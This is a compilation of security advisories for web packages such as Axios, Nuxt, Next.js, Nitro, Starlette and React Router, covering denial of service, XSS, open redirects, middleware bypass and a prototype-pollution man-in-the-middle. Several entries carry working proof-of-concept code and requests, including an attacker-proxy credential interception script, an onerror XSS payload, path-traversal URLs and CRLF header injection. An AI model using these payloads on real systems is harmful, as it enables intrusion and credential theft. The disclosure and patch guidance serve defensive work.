React Router vulnerable to Denial of Service via reflected user input in single-fetch
A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Allocation of Resources Without Limits or Throttling in Axios
Summary
Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.
Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
Affected Functionality
Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.
Relevant configurations include:
adapter: 'fetch'
adapter: ['fetch', ...] when fetch is selected
environments where neither xhr nor http is available and axios falls back to fetch
custom fetch environments configured through env.fetch
Unaffected functionality includes:
Node.js default http adapter enforcement
versions before the fetch adapter was introduced
configurations that do not rely on finite axios size limits
Technical Details
In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.
The fix in e5540dc added:
maxContentLength and maxBodyLength reads in lib/adapters/fetch.js
upfront data: URL decoded-size checks
outbound body-size checks before dispatch
Content-Length response pre-checks
streaming response enforcement
fallback checks for environments without ReadableStream
regression tests in tests/unit/adapters/fetch.test.js
Proof of Concept of Attack
``js
import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});
await new Promise(resolve => server.listen(0, resolve));
const url = http://127.0.0.1:${server.address().port}/;
await axios.post(url, 'A'.repeat(2 1024 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.
server.close();
`
Workarounds
Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios.
<details>
<summary>Original Report</summary>
Summary
When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
Details
maxBodyLength and maxContentLength are not applied in the fetch adapter flow:
lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
By contrast, the HTTP adapter enforces both limits.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that counts received bytes and echoes {received}.
2. Send 2 MiB with:
adapter: 'fetch'
maxBodyLength: 1024
3. Request a 4 KiB data: URL with:
adapter: 'fetch'
maxContentLength: 16
Expected secure behavior: both requests rejected.
Observed:
Upload: success, server received 2097152
data: response: success, length 4096
Impact
Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.
</details>
---
Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks
Summary
In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed.
Details
When a client requests http://example.com/foo, it sends:
``http
GET /foo HTTP/1.1
Host: example.com
`
Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example:
`http
GET /foo HTTP/1.1
Host: example.com/abc?bar=
`
reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed.
Impact
Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.
Mitigation
Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"]` for malformed values.
React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint
There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE
When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router's same-origin redirect with path starting // causes open redirect via protocol-relative URL reinterpretation
Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)
React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets
When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources
> [!NOTE]
> This only impacts your application if you are using the unstable RSC APIs in React Router.
React Router has stored XSS via unescaped Location header in prerendered redirect HTML
When using React Router v7 Framework Mode with Pre-rendering enabled, an improper neutralization of the HTTP Location header value can permit Cross-Site Scripting (XSS) in statically generated HTML files if the redirect location comes from an untrusted source.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`
Summary
When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run.
For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML.
Affected configurations
All three conditions must hold for an application to be vulnerable:
1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3).
2. The application defines one or more .server.vue files under pages/, registering them as routed pages.
3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer.
Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation.
Details
Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>.
Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set.
The two paths interact so that route middleware declared on the source page never runs.
Proof of concept
Given a page app/pages/secret.server.vue:
``vue
<script setup lang="ts">
definePageMeta({ middleware: 'auth' })
</script>
<template>
<h1>SECRET DATA</h1>
</template>
`
with middleware/auth.ts blocking unauthenticated access:
`bash
Direct page request: blocked by middleware
curl -i http://localhost:3000/secret
-> 403 / redirect, depending on the middleware
Island request: middleware did not run before this fix
curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash'
-> 200 OK, body includes <h1>SECRET DATA</h1>
`
Patches
Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to.
Non-page island components are unaffected - they continue to render without route middleware, by design.
Workarounds
If you cannot upgrade immediately:
Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory.
Disable experimental.componentIslands if your app does not use the feature.
If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
2. defaultToConfig2 for proxy is never called
3. The merged config has no own proxy property
4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
``javascript
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
`
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
`
3. The Execution
At http.js:668-670:
`javascript
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
`
setProxy() at http.js:191-239 then:
`javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
`
4. The Impact (Full MITM)
The attacker's proxy server receives:
`http
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, /
`
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
Sees every request URL, header, and body
Modifies every response (inject malicious data, change auth results)
Logs all API keys, session tokens, and passwords
Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
`javascript
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
`
Verified PoC Output
`
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, /",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
`
Impact Analysis
Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data | All headers, auth, body, URL, response |
| Response control | Must return true | Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
`javascript
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
`
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy — MITM
config.socketPath — Unix socket SSRF
config.transport — request hijack
config.lookup — DNS hijack
config.beforeRedirect — redirect manipulation
config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
`javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
``
Resources
CWE-1321: Prototype Pollution
CWE-441: Unintended Proxy
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Nuxt: Reflected XSS in `navigateTo()` external redirect
Summary
navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.
This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.
Impact
Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.
Details
In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:
``ts
const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>,
headers: { location: encodeURL(location, isExternalHost) },
}
`
The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.
Proof of concept
Global middleware that forwards a query parameter to navigateTo:
`ts
// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
return navigateTo(next, { external: true })
}
})
`
Request:
`
GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>
`
Response body:
`html
<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>
`
The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect
occurs.
Patches
Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body
Workarounds
If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).
Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes - Incomplete Fix Follow-Up
Impact
It was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. Refer to CVE-2026-44575 for further details.
References
CVE CVE-2026-44575
Next.js vulnerable to Denial of Service via connection exhaustion in applications using Cache Components
Impact
Applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service.
Fix
We now treat the header used for resuming Partial Prerendered requests as an internal-only header and strip it from untrusted incoming requests. This header should never be accepted directly from external clients.
Workarounds
If you cannot upgrade immediately, block requests that would be handled by Next.js if they contain the Next-Resume header at the edge.
Next.js vulnerable to cache poisoning in React Server Component responses
Impact
Applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML.
Fix
We now validate and interpret RSC request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL.
Workarounds
If you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors Vary, or disable shared caching for affected App Router and RSC responses.
Next.js has a Middleware / Proxy bypass in App Router applications via segment-prefetch routes
Impact
App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check.
Fix
We now include App Router transport variants when generating middleware matchers, so middleware protections are applied consistently to those requests as well as to the normal page URL.
Workarounds
If you cannot upgrade immediately, enforce authorization in the underlying route or page logic instead of relying solely on middleware.
Next.js has a Middleware / Proxy bypass through dynamic route parameter injection
Impact
Applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check.
Fix
We now only honor internal route-parameter normalization in trusted routing flows and ignore externally supplied parameter encodings that should never have been accepted from ordinary requests.
Workarounds
If you cannot upgrade immediately, enforce authorization in route or page logic instead of relying solely on middleware path matching.
Facebook React has a Denial of Service Vulnerability in React Server Components
Impact
A denial of service vulnerability could be triggered by sending specially crafted HTTP requests to server function endpoints, this could lead to out-of-memory exceptions or excessive CPU usage.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0 through 19.0.5, 19.1.0 through 19.1.6, and 19.2.0 through 19.2.5 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
Fixes were back ported to versions 19.0.6, 19.1.7, and 19.2.6.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules
A redirect route rule like:
``ts
routeRules: {
"/legacy/": { redirect: "/" }
}
`
is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit:
`
GET /legacy//evil.com
`
Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com.
Are you affected?
Users may be affected if all of the following are true:
1. Their project uses Nitro's routeRules with a redirect entry.
2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }).
3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable.
Impact
Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it.
Patched versions
Upgrade to one of:
2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236)
The fix has two parts:
1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule.
2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).
Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`
A proxy route rule like:
``ts
routeRules: {
"/api/orders/": { proxy: { to: "http://upstream/orders/" } }
}
`
is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit:
`
GET /api/orders/..%2fadmin%2fconfig.json
`
Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope.
Are you affected?
Users may be affected if ALL of the following are true:
1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }).
2. The proxy to value uses a / wildcard suffix to forward sub-paths.
3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup.
4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel)
Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction.
Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986.
Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes).
Impact
Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off.
Patched versions
Upgrade to one of:
2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223)
3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222)
The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed.
> Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**.
Credits
Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.
Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
Summary
The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details
In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
``
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF};
}
`
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences
2. The proxy appends the file to a FormData and posts it via axios.post(url, formData)
3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC
Prerequisites: Node.js 18+, axios (tested on 1.14.0)
`
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(http://127.0.0.1:${port}/upload, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
`
Steps to reproduce:
1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
